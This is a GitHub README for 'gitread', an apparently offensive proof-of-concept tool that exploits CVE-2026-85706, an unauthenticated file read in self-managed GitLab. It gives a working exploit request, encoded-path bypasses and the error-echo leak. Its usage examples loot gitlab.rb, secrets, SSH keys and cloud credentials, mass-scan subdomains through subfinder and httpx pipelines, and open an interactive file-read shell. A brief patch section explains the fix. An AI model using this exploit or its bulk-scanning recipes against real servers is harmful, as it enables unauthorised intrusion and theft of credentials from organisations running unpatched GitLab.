Skip to content

Latest commit

 

History

3 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 

Repository files navigation

gitread

PoC for CVE-2026-85706, an unauthenticated arbitrary file read affecting self-managed GitLab CE/EE.

CVE CVE-2026-85706
CVSS 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Affected 18.7 to 19.1.7, 19.2.0 to 19.2.5, 19.3.0 to 19.3.1
Fixed 19.1.8 / 19.2.6 / 19.3.2 (released 2026-09-10)
Component Repository Commits API / Files API (Workhorse body-upload)
Reporter s3ntago via GitLab HackerOne

How it works

Three repository API endpoints sit behind Workhorse's requestBodyUploader:

POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

The Rails handler calls File.open(params['file.path']) before authenticate!. Four conditions make this exploitable:

1. Auth fires after the file read. require_gitlab_workhorse! only checks the Gitlab-Workhorse-Api-Request JWT header. Workhorse stamps that header on every request it proxies, including plain passthroughs. The real authenticate! lives inside authorize_push_to_branch!, which runs after file_params_from_body_upload has already read the file off disk.

2. file.path comes straight from the request. file_params_from_body_upload reads params['file.path'] as an absolute path with no validation. In the intended flow Workhorse writes the upload to a temp file and injects that param itself. An attacker just sends it directly as a query string parameter pointing anywhere on the filesystem.

3. Workhorse route matching never decodes percent-encoding. Workhorse matches upload routes against EscapedPath(), the raw URL bytes as received. Puma decodes %XX sequences before routing to Grape. So encoding one character in a static segment causes Workhorse to skip its rewrite rule while Rails still routes to the vulnerable handler:

POST /api/v4/projects/1/repository/commits/      (trailing slash)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (Grape format suffix)

4. Rack echoes the file content back in the error response. With Content-Type: application/x-www-form-urlencoded, the file content is handed to Rack::Utils.parse_nested_query. Any bare % not followed by two hex digits raises InvalidParameterError: invalid %-encoding (<content>). Everything up to the first & in the file gets echoed in the 400 body.

Files with no bare % are still read pre-auth. The 401 response from the urlencoded branch and a 500 from the multipart branch both confirm the file exists and is readable by the git user, making them useful as an existence oracle.

Exploit request:

POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

Features

  • --file reads any single file; falls through to the oracle automatically if there is no echo trigger
  • --loot runs 36 targets across 7 tiers, ordered by confirmed echo-trigger probability
  • --oracle runs a dual-branch probe (urlencoded + multipart) against no-echo files and tells you whether each one is readable, missing, or unreadable
  • --proc enumerates /proc/self/fd/0-31 to find open file descriptors, then reads standard /proc recon targets
  • --shell drops into an interactive file-read shell with cat, loot, oracle, project, and curl commands
  • --pipe reads targets from stdin and handles subfinder output, httpx text, httpx JSON, nuclei JSON, and raw host lines
  • --list takes a file of targets one per line
  • --threads for concurrent bulk scanning
  • --proxy routes everything through Burp or mitmproxy
  • --raw writes raw bytes to stdout with no decoration, useful for piping to a file
  • --full runs loot, oracle, and proc in one pass
  • JSON and JSONL report output via -o
  • GitLab version fingerprint with affected-range check
  • Windows terminal colour support

Install

pip install requests
python3 gitread.py -h

Requires Python 3.10 or newer. No other dependencies.

Usage

Single target

python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

Pipeline

subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

stdin is detected automatically when it is not a TTY, so --pipe is optional in most cases.

Shell

gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

Response verdicts

Verdict Meaning
leak File content echoed in the 400 body, confirmed read
leak-frag Partial echo via parameter type error
read-noecho File was read pre-auth but has no bare % so nothing echoed
READABLE Multipart branch returned 500, file exists and is readable by the git user
missing Server said local file not present
rewrite Workhorse rewrote the body, this bypass form is dead
noroute Rails 404, instance is patched or the path is wrong
server-error 500, file exists but caused a parse error

Loot tiers

Tier Files Echo
1 gitlab.rb, gitlab.yml, redis.conf Content leaks directly
2 gitlab-secrets.json, secrets.yml, database.yml Oracle only, pure hex
3 .gitlab_workhorse_secret Oracle only
4 SSH private keys and authorized_keys Oracle only
5 gitlab-shell.yml, gitaly.toml, PostgreSQL config Oracle only
6 Kubernetes service account token, AWS credentials Oracle only
7 Hostname, hosts, passwd, os-release, environ Oracle only

Flags

Flag Description
-t, -u, --target Single base URL
--pipe Read targets from stdin
--list FILE File of targets
--file PATH Single absolute path to read
--loot Full 36-target loot run
--oracle Dual-branch probe of no-echo files
--proc /proc fd enumeration and recon
--shell Interactive shell after scan
--full loot + oracle + proc
--project-id ID Force a project id instead of auto-detecting
--force Scan even if the target does not fingerprint as GitLab
--raw Write raw bytes to stdout, no decoration
--proxy URL HTTP/S proxy
--threads N Worker threads for pipeline mode (default 8)
--timeout N Per-request timeout in seconds (default 15)
-o FILE Save report (.json for pretty array, anything else for JSONL)
-q, --quiet Print hits only
-v, --verbose Show every probe attempt
--no-banner Suppress the banner

Exit codes: 0 leak confirmed, 1 oracle only or no leaks in pipeline, 2 nothing found.

Patch

Fixed in master commit 0d9ce3e7, backported as 1fe30154 / b43c8b26 / 0ff7b6b2.

Three things were changed at the same time:

  1. authenticate! was moved before file_params_from_body_upload in all three endpoints so the file is never read for an unauthenticated request
  2. file.path is now only accepted from a typed UploadedFile object produced by the multipart middleware, which requires a valid Workhorse-signed JWT, not from a raw query string parameter
  3. InvalidParameterError no longer interpolates e.message into the response body so the echo channel is closed even if someone found a way past the first two fixes

The bug was introduced in GitLab 18.7 (December 2025) when the body-upload variant of the commits API was added.


made with love by @plur1bu5 -- if you find it useful, a star is appreciated

About

CVE-2026-85706 · GitLab CE/EE unauthenticated file read · research PoC with oracle mode, fd enumeration, and tiered loot targeting

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages